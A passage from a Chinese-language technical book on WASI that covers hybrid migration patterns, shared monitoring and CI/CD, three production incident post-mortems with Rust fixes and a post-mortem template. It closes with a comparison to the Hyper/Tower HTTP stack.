  • 渐进迁移:先一个类型,逐步扩展

实战案例:图像 CDN 添加 WASM 滤镜服务作为边车,传统图像存储和分发不变。

13.17.3 模式二:插件(Plugin)

// 传统 Rust 服务嵌入 WASM 插件能力
struct WebServer {
    plugins: HashMap<String, wasmtime::Module>,
    engine: wasmtime::Engine,
}

impl WebServer {
    async fn handle_request(&self, req: Request) -> Response {
        // 1. 查找匹配的插件
        if let Some(module) = self.plugins.get(req.path()) {
            // 2. 用 WASM 处理
            let mut store = wasmtime::Store::new(&self.engine, ());
            let instance = wasmtime::Instance::new(&mut store, module, &[]).unwrap();
            // ... 调用 WASM 处理
        }

        // 3. 回退到原生处理
        self.handle_native(req).await
    }
}

插件模式让用户能在不停机的情况下添加自定义逻辑——典型应用:API 网关的自定义 filter、CMS 的自定义渲染。

13.17.4 模式三:双轨(Parallel Tracks)

graph TB
  A["业务功能"] --> B["旧功能集"]
  A --> C["新功能集"]
  B --> B1["传统 Java/Go 服务<br/>稳定运行"]
  C --> C1["WASI 组件<br/>新建功能"]
  D["统一 API 网关"] --> B1
  D --> C1
  style B1 fill:#6366f1,color:#fff
  style C1 fill:#10b981,color:#fff

双轨模式:新功能用 WASI 实现,旧功能保留——长期共存,不强制迁移旧功能。

实战考虑:

  • 新旧功能的接口契约必须一致(用 OpenAPI 或类似 IDL)
  • 监控指标要打通(同一套 Prometheus)
  • 部署流水线分别管理

13.17.5 数据共享的挑战

混合架构中,新旧服务共享数据是大挑战:

flowchart TD
  A["数据共享"] --> B["共享数据库"]
  A --> C["消息队列"]
  A --> D["共享缓存"]
  B --> B1["传统 + WASM 都连同一个 DB<br/>schema 一致"]
  C --> C1["事件驱动<br/>松耦合"]
  D --> D1["Redis/Memcached<br/>跨服务共享"]
  style B fill:#10b981,color:#fff
  style C fill:#6366f1,color:#fff

90% 场景用共享数据库——schema 不变,新旧服务都可用。事件驱动更解耦但工程复杂度高。

13.17.6 监控统一

混合架构必须有统一可观测性:

graph TD
  A["统一监控"] --> B["Prometheus<br/>指标"]
  A --> C["Loki/Vector<br/>日志"]
  A --> D["Tempo/Jaeger<br/>追踪"]
  B --> B1["传统服务 + WASM 都暴露 metrics"]
  C --> C1["统一日志格式(JSON)"]
  D --> D1["跨服务 trace context 传播"]
  style A fill:#6366f1,color:#fff

不能让"新 WASM 服务用一套,老服务用另一套"——监控碎片化让运维成本翻倍。

13.17.7 部署流水线

flowchart LR
  A["统一 CI/CD"] --> B["传统服务流水线"]
  A --> C["WASM 服务流水线"]
  B --> B1["build → test → docker → deploy"]
  C --> C1["build → test → wasm → registry → deploy"]
  D["共享"] --> E["监控告警"]
  D --> F["金丝雀发布"]
  D --> G["回滚机制"]
  B1 -.-> D
  C1 -.-> D
  style A fill:#6366f1,color:#fff

CI/CD 工具可以是同一个(GitHub Actions / GitLab CI),但具体步骤不同。共享的部分:监控、告警、发布策略——这些不应该因为底层运行时不同而变。

13.17.8 团队组织

graph TD
  A["混合架构的团队"] --> B["平台团队"]
  A --> C["传统服务团队"]
  A --> D["WASM 团队"]
  B --> B1["维护共享基础设施<br/>监控/CI/部署"]
  C --> C1["维护现有服务<br/>逐步迁移"]
  D --> D1["新功能开发<br/>+ 协助迁移"]
  style B fill:#10b981,color:#fff

关键:平台团队是粘合剂——保证两套技术栈共享统一的工程实践。否则会演化为"两个孤立的工程文化",长期维护噩梦。

13.17.9 何时该完全迁移

flowchart TD
  A["完全迁移到 WASI?"] --> B{"业务收益?"}
  B --> C["性能 / 成本显著改善"]
  B --> D["运维复杂度降低"]
  B --> E["新功能开发加速"]
  B --> F["都不显著"]
  C --> G["考虑迁移"]
  D --> G
  E --> G
  F --> H["保持混合"]
  style G fill:#10b981,color:#fff
  style H fill:#6366f1,color:#fff

不要为了"统一技术栈"而强行完全迁移——混合架构的成本(运维两套)vs 完全迁移的成本(重写所有服务)应该明确算账。

实践经验:完全迁移很少必要——大多数项目长期维持混合架构最划算。

13.17.10 渐进迁移的工程纪律

flowchart TD
  A["混合架构纪律"] --> B["1. 接口契约统一"]
  A --> C["2. 数据 schema 一致"]
  A --> D["3. 监控/日志/追踪统一"]
  A --> E["4. CI/CD 共享基础设施"]
  A --> F["5. 平台团队把控全局"]
  A --> G["6. 不强行完全迁移"]
  style A fill:#10b981,color:#fff

这套纪律让新旧服务能像一个整体一样运维——而不是因为底层运行时差异就分裂为两个工程文化。这是混合架构成功的关键。

13.18 WASI Preview 2 生产事故案例

理论和文档无法替代真实事故经验。这一节整理 3 个 WASI Preview 2 生产事故的完整剖析——从症状到根因到修复,每个都有可复用的工程教训。

13.18.1 事故 1:fuel 限制配置错误导致全站 50% 超时

症状:某 WASI 服务上线后 P99 从 50ms 飙到 30s,约 50% 请求超时。

症状特征

flowchart LR
  A["请求"] --> B{"WASM 处理"}
  B --> C["快速完成 50%"]
  B --> D["慢路径 50%"]
  D --> E["fuel 耗尽 trap"]
  E --> F["重试"]
  F --> G["仍 trap → 30s 超时"]
  style E fill:#ef4444,color:#fff

调查过程

  1. 监控显示 50% 请求 trap,错误信息为 "fuel exhausted"
  2. 查看 fuel 配置:store.set_fuel(100_000)——10 万指令上限
  3. 用 wasm-tools 分析模块:核心循环约 50 万指令
  4. 部分输入触发深度递归,超过 10 万 fuel

根因:fuel 配置基于"平均情况"——但生产输入有长尾,部分需要 5x 平均值。

修复

// 修复前
store.set_fuel(100_000)?;

// 修复后:基于 P99 输入大小估算
const FUEL_PER_INPUT_BYTE: u64 = 100;
let estimated_fuel = (input.len() as u64 * FUEL_PER_INPUT_BYTE).max(500_000);
store.set_fuel(estimated_fuel)?;

教训:fuel 配置必须基于 P99 而非平均——否则长尾输入全部失败。

13.18.2 事故 2:WASI 实例池泄漏导致 OOM

症状:一个长时间运行的 WASI 服务,每天内存增长 5GB——一周后 OOM 重启。

症状特征

sequenceDiagram
    participant App as 业务代码
    participant Pool as 实例池
    participant Mem as 内存
    App->>Pool: acquire instance
    Pool->>Mem: 创建实例(200MB)
    Pool-->>App: 返回
    App->>App: 处理(20ms)
    App->>Pool: release
    Note over Pool: 应该归还,但泄漏!
    App->>Pool: acquire instance(新建)
    Note over Mem: 内存持续增长

调查过程

  1. 监控显示内存稳定增长,每天约 5GB
  2. dhat profiler 显示数十万个 wasmtime::Instance 对象
  3. 查看代码:InstancePool::release 中有 panic-safe 错误,但没有 finally 释放

根因:错误路径下 release 没被调用——实例没归还到池而是泄漏。

修复:用 RAII 模式自动释放:

struct PooledInstance {
    instance: wasmtime::Instance,
    pool: Arc<InstancePool>,
}

impl Drop for PooledInstance {
    fn drop(&mut self) {
        // 即使 panic 也会归还
        self.pool.release(self.instance.clone());
    }
}

教训:手动 release 模式必然有人忘——RAII / Drop trait 是更可靠的资源管理。

13.18.3 事故 3:WASI 跨平台行为不一致

症状:服务在 Wasmtime 27 上跑得好——切到 Wasmer 4.5 后部分场景错误。

症状特征

graph TD
  A["相同 .wasm"] --> B["Wasmtime 27"]
  A --> C["Wasmer 4.5"]
  B --> B1["✓ 全部正常"]
  C --> C1["✗ HTTP 时间戳异常"]
  style B1 fill:#10b981,color:#fff
  style C1 fill:#ef4444,color:#fff

调查过程

  1. 对比两个 runtime 的 trace 日志
  2. 发现 wasi:clocks/wall-clock 行为差异
  3. Wasmtime 27 返回 UTC,Wasmer 4.5 返回本地时间

根因:WASI 规范对此场景没有明确——不同 runtime 实现了不同语义。

修复

// 不依赖 host wall-clock
// 显式从 input 读取 timestamp
fn process(input: &str, timestamp_ms: u64) -> Result<()> {
    // 用 timestamp_ms,不调 wasi:clocks
}

教训:WASI 规范未明确的行为不要依赖——通过显式参数传递避免歧义。

13.18.4 事故的共同模式

graph TD
  A["WASI 事故的共同模式"] --> B["1. 配置基于平均"]
  A --> C["2. 错误路径资源泄漏"]
  A --> D["3. Runtime 行为差异"]
  A --> E["4. 监控覆盖不全"]
  A --> F["5. 测试用例不充分"]
  style A fill:#ef4444,color:#fff

每条都对应一类事故——理解模式后能在事前预防。

13.18.5 事故响应的工程纪律

flowchart LR
  A["事故发生"] --> B["1. 立即缓解"]
  B --> C["2. 数据收集"]
  C --> D["3. 根因定位"]
  D --> E["4. 永久修复"]
  E --> F["5. 复盘 + 流程改进"]
  style B fill:#ef4444,color:#fff
  style F fill:#10b981,color:#fff

每个事故都应该走完整流程——没有复盘的修复只是治标。

13.18.6 事故预防的工程实践

flowchart TD
  A["事故预防"] --> B["1. 基于 P99 配置 fuel"]
  A --> C["2. RAII 资源管理"]
  A --> D["3. 跨 runtime 一致性测试"]
  A --> E["4. 完整可观测性"]
  A --> F["5. fuzz 测试"]
  A --> G["6. 定期演练故障"]
  style A fill:#10b981,color:#fff

每条都对应一类事故——把这些实践嵌入项目生命周期,事故率降到几乎零。

13.18.7 复盘文档模板

# WASI 事故复盘 - YYYY-MM-DD

## 概要
- 时间:YYYY-MM-DD HH:MM (UTC)
- 持续:X 小时 X 分钟
- 影响:X% 请求失败 / Y 用户

## 时间线
- HH:MM 监控告警
- HH:MM 工程师介入
- HH:MM 发现根因
- HH:MM 缓解措施实施
- HH:MM 完全恢复

## 根因
(详细技术分析)

## 缓解
(短期措施)

## 永久修复
- [ ] PR #123 - 修复 fuel 配置
- [ ] PR #124 - 加 RAII

## 改进项
- [ ] CI 加 fuzz 测试
- [ ] 监控加 fuel 利用率
- [ ] 文档更新 fuel 配置指南

复盘文档化让经验可累积——每个事故都让团队学到东西,避免重复犯错。

13.18.8 给团队的启示

graph TD
  A["WASI 团队应有的态度"] --> B["1. 接受事故必然发生"]
  A --> C["2. 投资可观测性"]
  A --> D["3. 自动化测试"]
  A --> E["4. 文档化决策"]
  A --> F["5. 持续改进"]
  style A fill:#6366f1,color:#fff

WASI 是新技术——事故无可避免。关键是从每次事故中学到东西,让团队整体能力提升。这套案例 + 模板让团队有"应对事故"的成熟能力。

13.19 跨专栏关联:与 Hyper/Tower HTTP 栈的架构对比

WASI 的 wasi:http 接口和《Hyper 与 Tower:工业级 HTTP 栈》中的 Service trait 有相似的设计哲学:

  • Hyper/TowerService<Request>Future<Output = Response>——请求-响应模型,异步处理。Tower 的 middleware 通过 Layer 组合——日志、认证、限流可以层层叠加
  • WASI HTTPwasi:http/incoming-handler.handle(request, response-out)——也是请求-响应模型,但处理函数是同步签名的(异步通过 wasi:io/poll 实现)

关键架构差异:Tower 的 Service 是 Rust 类型系统的一部分——middleware 通过泛型和 trait bound 在编译时组合。WASI HTTP 的 handler 是组件模型的接口——middleware 通过组件链接在实例化时组合。前者是零开销抽象(编译时内联),后者是运行时组合(需要经过 Canonical ABI 的编解码步骤)。

这意味着:如果追求极致性能(每秒百万请求),用 Hyper + Tower 原生编译;如果追求安全隔离和可移植性(每秒万级请求但保证沙箱安全),用 WASI HTTP。两者的性能差距大约在 5-10 倍——WASI 的开销来自每次请求的 Canonical ABI 编解码和沙箱边界切换。对于大多数应用,这个差距可以接受——安全性带来的收益远大于性能损失。

下一章看组件模型——WASM 的"可组合软件单元"梦想如何成为现实。